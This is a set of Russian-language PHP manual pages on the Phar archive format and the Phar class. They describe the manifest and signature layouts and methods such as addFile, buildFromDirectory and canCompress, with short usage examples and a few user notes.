Формат файла phar буквально представляет из себя заглушку/манифест/содержимое/подпись и хранит ключевую информацию о том, что включено в phar-архив в его манифесте.

Манифест Phar — это высокооптимизированный формат, который позволяет указывать параметры сжатия файлов, доступа к файлам и даже определяемые пользователем метаданные, такие как владелец или группа файла. Все значения, превышающие 1 байт, хранятся в порядке байтов от младшего к старшему, за исключением версии API, которая по историческим причинам хранится в виде 3 полубайт в порядке от старшего к младшему.

Все неиспользованные флаги зарезервированы для использования в будущем и не должны быть использованы для хранения пользовательской информации. Используйте возможности пофайловых метаданных для хранения индивидуальной информации об отдельных файлах.

Основной формат файла манифеста Phar-архива выглядит следующим образом:

Формат глобального манифеста Phar
Размер в байтах | Описание
4 байта | Длина манифеста в байтах (предел 1 МБ)
4 байта | Количество файлов в Phar-архиве
2 байта | Версия API манифеста Phar (текущая 1.0.0)
4 байта | Флаги глобальной битовой карты Phar
4 байта | Длина псевдонима Phar
?? | Псевдоним Phar (длина основана на предыдущем значении)
4 байта | Длина метаданных Phar (0 в случае отсутствия)
?? | Сериализованные метаданные Phar, хранящиеся в формате serialize()
по меньшей мере (24 * количество записей) байт | записи для каждого файла

User Contributed Notes

There are no user contributed notes for this page.


Флаги глобальной битовой карты Phar

Здесь представлены битовые флаги, на настоящий момент распознаваемые модулем Phar для глобальной битовой карты Phar:

Распознаваемые значения битовой карты
Значение | Описание
0x00010000 | Если задано, значит этот Phar содержит проверочную подпись
0x00001000 | Если задано, значит этот Phar содержит по меньшей мере один файл, сжатый при помощи сжатия zlib DEFLATE.
0x00002000 | Если задано, значит этот Phar содержит по меньшей мере один файл, сжатый при помощи bzip2-сжатия.

User Contributed Notes

There are no user contributed notes for this page.


Описание записи файла в манифесте Phar

Каждый файл в манифесте содержит следующую информацию:

Запись файла в манифесте Phar
Размер в байтах | Описание
4 байта | Длина имени файла в байтах
?? | Имя файла (длина указана в предыдущем поле)
4 байта | Размер распакованного файла в байтах
4 байта | Метка времени Unix файла
4 байта | Размер сжатого файла в байтах
4 байта | Контрольная сумма CRC32 содержимого распакованного файла
4 байта | Флаги битовой карты файла
4 байта | Длина сериализованных метаданных файла (0 в случае отсутствия)
?? | Сериализованные метаданные файла, хранящиеся в формате serialize()

Обратите внимание, что начиная с версии API 1.1.1 пустые каталоги хранятся в виде файлов с завершающим слешем в их имени, как my/directory/

К распознаваемым значениям битовой карты файла относятся:

Распознаваемые значения битовой карты
Значение | Описание
0x000001FF | Эти биты зарезервированы для определения конкретных прав доступа файла. Права доступа используются для fstat() и могут быть использованы для воссоздания требуемых прав доступа при извлечении.
0x00001000 | Если задано, то этот файл сжат при помощи сжатия zlib DEFLATE.
0x00002000 | Если задано, то этот файл сжат при помощи bzip2-сжатия.

User Contributed Notes

There are no user contributed notes for this page.


Формат подписи Phar

В содержащих подпись phar-архивах подпись всегда присоединена к концу Phar-архива после загрузчика, манифеста и содержимого файлов. В настоящее время поддерживаются следующие форматы подписи: MD5, SHA1, SHA256, SHA512 и OPENSSL.

Формат подписи
Длина в байтах | Описание
переменная | Собственно подпись. 20 байт в случае использования подписи SHA1, 16 байт в случае использования подписи MD5, 32 байта в случае использования подписи SHA256, 64 байта в случае использования подписи SHA512. Длина подписи OPENSSL зависит от размера закрытого ключа.
4 байта | Флаги подписи. 0x0001 используется для определения подписи MD5, 0x0002 используется для определения подписи SHA1, 0x0003 используется для определения подписи SHA256, 0x0004 используется для определения подписи SHA512. Поддержка подписей SHA256 и SHA512 была введена начиная с версии API 1.1.0. 0x0010 используется для определения подписи OPENSSL, которая доступна с версии API 1.1.1, если доступен OpenSSL.
4 байта | Магический GBMB используется для определения наличия подписи.

User Contributed Notes

There are no user contributed notes for this page.


Класс Phar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Введение

Класс Phar предоставляет высокоуровневый интерфейс для доступа и создания архивов phar.

Обзор классов

class Phar extends RecursiveDirectoryIterator implements Countable, ArrayAccess {
/* Наследуемые константы */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* Константы */
const int BZ2;
const int GZ;
const int NONE;
const int PHAR;
const int TAR;
const int ZIP;
const int COMPRESSED;
const int PHP;
const int PHPS;
const int MD5;
const int OPENSSL;
const int OPENSSL_SHA256;
const int OPENSSL_SHA512;
const int SHA1;
const int SHA256;
const int SHA512;
/* Методы */
public __construct(string $filename, int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS, ?string $alias = null)
public addEmptyDir(string $directory): void
public addFile(string $filename, ?string $localName = null): void
public addFromString(string $localName, string $contents): void
final public static apiVersion(): string
public buildFromDirectory(string $directory, string $pattern = ""): array
public buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array
final public static canCompress(int $compression = 0): bool
final public static canWrite(): bool
public compress(int $compression, ?string $extension = null): ?Phar
public compressFiles(int $compression): void
public convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData
public convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar
public copy(string $from, string $to): bool
public count(int $mode = COUNT_NORMAL): int
final public static createDefaultStub(?string $index = null, ?string $webIndex = null): string
public decompress(?string $extension = null): ?Phar
public decompressFiles(): bool
public delMetadata(): bool
public delete(string $localName): bool
public extractTo(string $directory, array|string|null $files = null, bool $overwrite = false): bool
public getAlias(): ?string
public getMetadata(array $unserializeOptions = []): mixed
public getModified(): bool
public getPath(): string
public getSignature(): array|false
public getStub(): string
final public static getSupportedCompression(): array
final public static getSupportedSignatures(): array
public getVersion(): string
public hasMetadata(): bool
final public static interceptFileFuncs(): void
public isBuffering(): bool
public isCompressed(): int|false
public isFileFormat(int $format): bool
final public static isValidPharFilename(string $filename, bool $executable = true): bool
public isWritable(): bool
final public static loadPhar(string $filename, ?string $alias = null): bool
final public static mapPhar(?string $alias = null, int $offset = 0): bool
final public static mount(string $pharPath, string $externalPath): void
final public static mungServer(array $variables): void
public offsetExists(string $localName): bool
public offsetGet(string $localName): SplFileInfo
public offsetSet(string $localName, resource|string $value): void
public offsetUnset(string $localName): void
final public static running(bool $returnPhar = true): string
public setAlias(string $alias): bool
public setDefaultStub(?string $index = null, ?string $webIndex = null): bool
public setMetadata(mixed $metadata): void
public setSignatureAlgorithm(int $algo, ?string $privateKey = null): void
public setStub(resource|string $stub, int $length = -1): bool
public startBuffering(): void
public stopBuffering(): void
final public static unlinkArchive(string $filename): bool
final public static webPhar(
?string $alias = null,
?string $index = null,
?string $fileNotFoundScript = null,
array $mimeTypes = [],
?callable $rewrite = null
): void
public __destruct()
/* Наследуемые методы */
public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
public RecursiveDirectoryIterator::getSubPath(): string
public RecursiveDirectoryIterator::getSubPathname(): string
public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
public RecursiveDirectoryIterator::key(): string
public RecursiveDirectoryIterator::next(): void
public RecursiveDirectoryIterator::rewind(): void
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator
public FilesystemIterator::getFlags(): int
public FilesystemIterator::key(): string
public FilesystemIterator::next(): void
public FilesystemIterator::rewind(): void
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • Phar::addEmptyDir — Добавляет в phar-архив пустую директорию
  • Phar::addFile — Добавляет в phar-архив файл из файловой системы
  • Phar::addFromString — Добавляет в phar-архив файл из строки
  • Phar::apiVersion — Возвращает версию API
  • Phar::buildFromDirectory — Создаёт phar-архив из файлов, расположенных внутри директории
  • Phar::buildFromIterator — Создаёт phar-архив из итератора
  • Phar::canCompress — Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::canWrite — Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов
  • Phar::compress — Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::compressFiles — Сжимает все файлы в текущем Phar-архиве
  • Phar::__construct — Создаёт объект Phar-архива
  • Phar::convertToData — Конвертирует phar-архив в неисполняемый tar- или zip-файл
  • Phar::convertToExecutable — Конвертирует phar-архив в другой исполняемый формат файла
  • Phar::copy — Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива
  • Phar::count — Возвращает количество записей (файлов) в Phar-архиве
  • Phar::createDefaultStub — Создать заглушку в формате phar-архива
  • Phar::decompress — Распаковывает весь Phar-архив
  • Phar::decompressFiles — Распаковывает все файлы в текущем Phar-архиве
  • Phar::delMetadata — Удалить глобальные метаданные в архиве phar
  • Phar::delete — Удаляет файл внутри phar-архива
  • Phar::__destruct — Уничтожает объект архива Phar
  • Phar::extractTo — Извлечь содержимое phar-архива в директорию
  • Phar::getAlias — Получить псевдоним для Phar
  • Phar::getMetadata — Извлечь метаданные phar-архива
  • Phar::getModified — Определить, изменялся phar-архив
  • Phar::getPath — Получить реальный путь к Phar-архиву на диске
  • Phar::getSignature — Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива
  • Phar::getStub — Получить загрузчик PHP или загрузчик заглушки Phar-архива
  • Phar::getSupportedCompression — Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::getSupportedSignatures — Получить массив поддерживаемых алгоритмов подписи архива
  • Phar::getVersion — Получить версию Phar-архива
  • Phar::hasMetadata — Проверить, содержит ли phar-архив глобальные метаданные
  • Phar::interceptFileFuncs — Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции
  • Phar::isBuffering — Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск
  • Phar::isCompressed — Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::isFileFormat — Проверить, что phar-архив имеет заданный формат (tar/phar/zip)
  • Phar::isValidPharFilename — Проверяет, что заданное имя файла является корректным именем phar-архива
  • Phar::isWritable — Проверяет, можно ли модифицировать phar-архив
  • Phar::loadPhar — Загрузить phar-архив с псевдонимом
  • Phar::mapPhar — Прочитать текущий запущенный phar-архив и зарегистрировать его манифест
  • Phar::mount — Монтирование внешнего путь или файла к виртуальному пути в phar-архиве
  • Phar::mungServer — Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска
  • Phar::offsetExists — Определить, есть ли файл в архиве
  • Phar::offsetGet — Получить объект PharFileInfo для конкретного файла
  • Phar::offsetSet — Изменение содержимого файла
  • Phar::offsetUnset — Удалить файл из phar-архива
  • Phar::running — Получить полный путь на диске, либо полный URL запущенного Phar-архива
  • Phar::setAlias — Установить псевдоним для Phar-архива
  • Phar::setDefaultStub — Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию
  • Phar::setMetadata — Установить метаданные phar-архива
  • Phar::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его
  • Phar::setStub — Установить загрузчик или загрузочную заглушку в Phar-архив
  • Phar::startBuffering — Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск
  • Phar::stopBuffering — Останавливает буферизацию и записывает все изменения на диск
  • Phar::unlinkArchive — Полностью удалить архив из памяти и с диска
  • Phar::webPhar — Направляет запрос из браузера во внутренний файл в phar-архиве

User Contributed Notes

There are no user contributed notes for this page.


Добавляет в phar-архив пустую директорию

  • « Phar
  • Phar::addFile »
  • PHP Manual
  • Phar
  • Добавляет в phar-архив пустую директорию

Phar::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addEmptyDir — Добавляет в phar-архив пустую директорию

Описание

public Phar::addEmptyDir(string $directory): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

С помощью этого метода создаётся пустая директория, путь к которой указан в dirname. Этот метод аналогичен ZipArchive::addEmptyDir().

Список параметров

directory

Имя пустого каталога, который должен быть создан в phar-архиве.

Возвращаемые значения

Нет возвращаемого значения, в случае возникновения ошибки выбрасывается исключение.

Примеры

Пример #1 Пример использования Phar::addEmptyDir()

<?php
try {
$a = new Phar('/путь/к/phar.phar');

$a->addEmptyDir('/полный/путь/к/файлу');
// показывает, как хранится этот файл
$b = $a['полный/путь/к/файлу']->isDir();
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • PharData::addEmptyDir() - Добавить пустую директорию в tar/zip-архив
  • Phar::addFile() - Добавляет в phar-архив файл из файловой системы
  • Phar::addFromString() - Добавляет в phar-архив файл из строки

User Contributed Notes

There are no user contributed notes for this page.


Добавляет в phar-архив файл из файловой системы

  • « Phar::addEmptyDir
  • Phar::addFromString »
  • PHP Manual
  • Phar
  • Добавляет в phar-архив файл из файловой системы

Phar::addFile

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addFile — Добавляет в phar-архив файл из файловой системы

Описание

public Phar::addFile(string $filename, ?string $localName = null): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

С помощью этого метода в phar-архив может быть добавлен любой файл или содержимое, доступное по URL. Если указан необязательный второй параметр localName, то файл будет сохранён в архиве с таким именем, в ином случае в качестве пути для сохранения внутри архива будет использован параметр file. При добавлении содержимого, доступного по URL, параметр localname должен быть указан, иначе будет выброшено исключение. Этот метод аналогичен ZipArchive::addFile().

Список параметров

filename

Полный или относительный путь к файлу в файловой системе, который должен быть добавлен в phar-архив.

localName

Путь, по которому файл будет сохранён в архиве.

Возвращаемые значения

Нет возвращаемого значения, в случае возникновения ошибки выбрасывается исключение.

Список изменений

Версия | Описание
8.0.0 | localName теперь допускает значение null.

Примеры

Пример #1 Пример использования Phar::addFile()

<?php
try {
$a = new Phar('/путь/к/phar.phar');

$a->addFile('/полный/путь/к/файлу');
// показывает, как хранится этот файл
$b = $a['полный/путь/к/файлу']->getContent();

$a->addFile('/полный/путь/к/файлу', 'моя_папка/file.txt');
$c = $a['моя_папка/file.txt']->getContent();

// показывает использоваие URL
$a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
// обработка ошибок
}
?>

Примечания

Замечание: Phar::addFile(), Phar::addFromString() и Phar::offsetSet() сохраняет новый phar-архив каждый раз при их вызове. Если производительность вызывает беспокойство, вместо этого следует использовать Phar::buildFromDirectory() или Phar::buildFromIterator().

Смотрите также

  • Phar::offsetSet() - Изменение содержимого файла
  • PharData::addFile() - Добавить существующие файлы к tar/zip-архиву
  • Phar::addFromString() - Добавляет в phar-архив файл из строки
  • Phar::addEmptyDir() - Добавляет в phar-архив пустую директорию

User Contributed Notes

There are no user contributed notes for this page.


Добавляет в phar-архив файл из строки

  • « Phar::addFile
  • Phar::apiVersion »
  • PHP Manual
  • Phar
  • Добавляет в phar-архив файл из строки

Phar::addFromString

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::addFromString — Добавляет в phar-архив файл из строки

Описание

public Phar::addFromString(string $localName, string $contents): void

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

С помощью этого метода в phar-архив может быть добавлена любая строка. Файл будет сохранён в архиве под именем, указанным в параметре localname. Этот метод аналогичен ZipArchive::addFromString().

Список параметров

localName

Путь, по которому файл будет сохранён в архиве.

contents

Содержимое файла для сохранения.

Возвращаемые значения

Нет возвращаемого значения, в случае возникновения ошибки выбрасывается исключение.

Примеры

Пример #1 Пример использования Phar::addFromString()

<?php
try {
$a = new Phar('/путь/к/phar.phar');

$a->addFromString('путь/к/file.txt', 'мой простой файл');
$b = $a['путь/к/file.txt']->getContent();

// для добавления содержимого из дескриптора потока для больших файлов используйте offsetSet()
$c = fopen('/путь/к/hugefile.bin');
$a['largefile.bin'] = $c;
fclose($c);
} catch (Exception $e) {
// обработка ошибок
}
?>

Примечания

Замечание: Phar::addFile(), Phar::addFromString() и Phar::offsetSet() сохраняет новый phar-архив каждый раз при их вызове. Если производительность вызывает беспокойство, вместо этого следует использовать Phar::buildFromDirectory() или Phar::buildFromIterator().

Смотрите также

  • Phar::offsetSet() - Изменение содержимого файла
  • PharData::addFromString() - Добавляет файл из строки в архив tar/zip
  • Phar::addFile() - Добавляет в phar-архив файл из файловой системы
  • Phar::addEmptyDir() - Добавляет в phar-архив пустую директорию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию API

  • « Phar::addFromString
  • Phar::buildFromDirectory »
  • PHP Manual
  • Phar
  • Возвращает версию API

Phar::apiVersion

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::apiVersion — Возвращает версию API

Описание

final public static Phar::apiVersion(): string

Возвращает версию API формата phar-файла, которая будет использована для создания архивов. Модуль Phar поддерживает чтение начиная с версии API 1.0.0. Для использования хешей SHA-256 и SHA-512 требуется версия API 1.1.0, а для хранения пустых директорий требуется версия API 1.1.1.

Список параметров

Возвращаемые значения

Строка версии API, как в "1.0.0".

Примеры

Пример #1 Пример использования Phar::apiVersion()

<?php
echo Phar::apiVersion();
?>

Результат выполнения данного примера:

1.1.1

User Contributed Notes

There are no user contributed notes for this page.


Создаёт phar-архив из файлов, расположенных внутри директории

  • « Phar::apiVersion
  • Phar::buildFromIterator »
  • PHP Manual
  • Phar
  • Создаёт phar-архив из файлов, расположенных внутри директории

Phar::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::buildFromDirectory — Создаёт phar-архив из файлов, расположенных внутри директории

Описание

public Phar::buildFromDirectory(string $directory, string $pattern = ""): array

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Заполняет phar-архив содержимым директории. Необязательный второй параметр является регулярным выражением (PCRE) и используется для исключения файлов. Любой файл, чьё имя соответствует регулярному выражению, будет включён, все остальные будут исключены. Для более детализированного контроля используйте Phar::buildFromIterator().

Список параметров

directory

Полный или абсолютный путь к директории, все файлы которой должны быть добавлены в архив.

pattern

Необязательное регулярное выражение (PCRE), которое используется для фильтрации списка файлов. В архив будут включены только те файлы, пути к которым соответствуют регулярному выражению.

Возвращаемые значения

Phar::buildFromDirectory() возвращает ассоциативный массив, в котором отражено соответствие пути к файлу внутри архива к пути к файлу в файловой системе.

Ошибки

Этот метод выбрасывает исключение BadMethodCallException в том случае, если не удалось создать экземпляр итератора внутренних директорий. Исключение PharException выбрасывается в случае ошибок сохранения phar-архива.

Список изменений

Версия | Описание
8.1.0 | Phar::buildFromDirectory() больше не возвращает значение false.

Примеры

Пример #1 Пример использования Phar::buildFromDirectory()

<?php
// создать с псевдонимом "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
// добавить все файлы директории project в файл project.phar
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));

$phar2 = new Phar('project2.phar', 0, 'project2.phar');
// добавить все файлы директории project в файл project2.phar, включая только php-файлы
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
$phar2->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Смотрите также

  • Phar::buildFromIterator() - Создаёт phar-архив из итератора

User Contributed Notes

dalfarra at codref dot com 16-May-2017 03:00
If you want to exclude a directory from the archive (but include all the other content), the regular expression must take into consideration the whole path of the file, not just the file or directory name relative to the source folder.

As an example, if we want to exclude "nbproject" directory from the archive (and any occurrence of it):

/tmp/myfolder
  /nbproject
  /something
  /something-else
    /nbproject
  /file1.php
  /file2.php

the regex should be:
<?php
  $exclude = '/^(?!(.*nbproject))(.*)$/i';  //ignoring the case
?>

A more complete example:
<?php
    $archive_file = 'myarchive.tar';
    $folder_to_compress = '/tmp/myfolder';
    $archive = new PharData($archive_file);
    $exclude = '/^(?!(.*nbproject))(.*)$/i';
    $archive->buildFromDirectory($folder_to_compress,$exclude);
    $archive->compress(Phar::GZ);
    unlink($archive_file); // as we already obtained a tar.gz
?>

the archive will contain:
/
  /something
  /something-else
  /file1.php
  /file2.php


Создаёт phar-архив из итератора

  • « Phar::buildFromDirectory
  • Phar::canCompress »
  • PHP Manual
  • Phar
  • Создаёт phar-архив из итератора

Phar::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::buildFromIterator — Создаёт phar-архив из итератора

Описание

public Phar::buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Заполняет phar-архив из итератора. Поддерживаются итераторы двух типов: такие, в которых отображается соответствие имени файла внутри phar-архива к файлу на диске, и такие как DirectoryIterator, которые возвращают объекты SplFileInfo. Для итераторов, которые возвращают объекты SplFileInfo, второй параметр является обязательным.

Список параметров

iterator

Любой итератор, который или ассоциативно отображает пути к файлам внутри phar-архива к файлам на диске, или возвращает объекты SplFileInfo.

baseDirectory

Для итераторов, возвращающих объекты SplFileInfo, — часть полного пути каждого файла, которая должна быть удалена во время его добавления в phar-архив.

Возвращаемые значения

Phar::buildFromIterator() возвращает ассоциативный массив, в котором отображаются соответствия пути к файлу внутри архива к пути к файлу в файловой системе.

Ошибки

Этот метод выбрасывает исключение UnexpectedValueException, когда итератор возвращает некорректные значения, такие как целочисленный ключ вместо строки. Исключение BadMethodCallException будет брошено, когда итератор, основанный на SplFileInfo, используется без параметра baseDirectory. Исключение PharException выбрасывается в случае ошибок сохранения phar-архива.

Список изменений

Версия | Описание
8.1.0 | Phar::buildFromIterator() больше не возвращает значение false.
8.0.0 | baseDirectory теперь допускает значение null.

Примеры

Пример #1 Пример использования Phar::buildFromIterator() с объектами SplFileInfo

Для большинства phar-архивов, архив будет отражать фактическую структуру директории, и второй тип итератора будет наиболее полезным. Например, он будет полезным для создания phar-архива, содержащего файлы со структурой директорий как в этом примере:

/путь/к/проекту/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

Для добавления этих файлов в phar-архив "project.phar" может быть использован следующий код:

<?php
// создать с псевдонимом "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/путь/к/проекту')),
'/путь/к/проекту');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

После этого файл project.phar может быть использован немедленно. Такие значения как сжатие и метаданные не устанавливаются методом Phar::buildFromIterator() и могут быть установлены после создания phar-архива.

В качестве интересного замечания можно отметить, что Phar::buildFromIterator() также может быть использован для копирования содержимого существующего phar-архива, поскольку класс Phar является потомком DirectoryIterator:

<?php
// создать с псевдонимом "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new Phar('/путь/к/anotherphar.phar')),
'phar:///путь/к/anotherphar.phar/путь/к/проекту');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Пример #2 Пример использования Phar::buildFromIterator() с другими типами итераторов

Второй тип предполагает использование любого итератора, возвращаемые значения которого отображают соответствие имени файла внутри phar-архива к файлу на диске, как в случае с ArrayIterator:

<?php
// создать с псевдонимом "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
new ArrayIterator(
array(
'путь/внутри/архива/file.php' => dirname(__FILE__) . '/somefile.php',
'друго/путь/внутри/архива/file.jpg' => fopen('/путь/к/bigfile.jpg', 'rb'),
)));
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Смотрите также

  • Phar::buildFromDirectory() - Создаёт phar-архив из файлов, расположенных внутри директории

User Contributed Notes

M8 25-Apr-2017 09:38
Phars created from iterator (unlike from directory) does not have full-fledged directory structure. For example, functions like opendir() will fail, although fopen() does not.
cweiske at php dot net 26-Feb-2015 01:43
You have to set a flag on the RecursiveDirectoryIterator because by default, the current (".") and parent directory ("..") are included in the listing. This leads to an error message similar to "returned a path ".." that is not in the base directory".

To fix this, use "SKIP_DOTS":

<?php
new RecursiveDirectoryIterator(
    $srcRoot, FilesystemIterator::SKIP_DOTS
);
?>


Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2

  • « Phar::buildFromIterator
  • Phar::canWrite »
  • PHP Manual
  • Phar
  • Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2

Phar::canCompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::canCompress — Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2

Описание

final public static Phar::canCompress(int $compression = 0): bool

Этот метод следует использовать для проверки поддержки сжатия до загрузки phar-архива, содержащего сжатые файлы.

Список параметров

compression

Может быть использована одна из констант Phar::GZ или Phar::BZ2 для проверки возможности сжатия по алгоритму zlib или bzip2 соответственно.

Возвращаемые значения

true, если сжатие/распаковка доступны, false, в противном случае.

Примеры

Пример #1 Пример использования Phar::canCompress()

<?php
if (Phar::canCompress()) {
echo file_get_contents('phar://compressedphar.phar/internal/file.txt');
} else {
echo 'сжатие недоступно';
}
?>

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::convertToExecutable() - Конвертирует phar-архив в другой исполняемый формат файла
  • Phar::convertToData() - Конвертирует phar-архив в неисполняемый tar- или zip-файл

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов

  • « Phar::canCompress
  • Phar::compress »
  • PHP Manual
  • Phar
  • Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов

Phar::canWrite

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Phar::canWrite — Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов

Описание

final public static Phar::canWrite(): bool

Этот статический метод определяет, был ли отключён доступ на запись в системном файле php.ini с использованием переменной phar.readonly.

Список параметров

Возвращаемые значения

true, если доступ на запись включён, false в противном случае.

Примеры

Пример #1 Пример использования Phar::canWrite()

<?php
if (Phar::canWrite()) {
file_put_contents('phar://myphar.phar/file.txt', 'всем привет');
}
?>

Смотрите также

  • phar.readonly
  • Phar::isWritable() - Проверяет, можно ли модифицировать phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия

  • « Phar::canWrite
  • Phar::compressFiles »
  • PHP Manual
  • Phar
  • Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия

Phar::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

Phar::compress — Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия

Описание

public Phar::compress(int $compression, ?string $extension = null): ?Phar

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

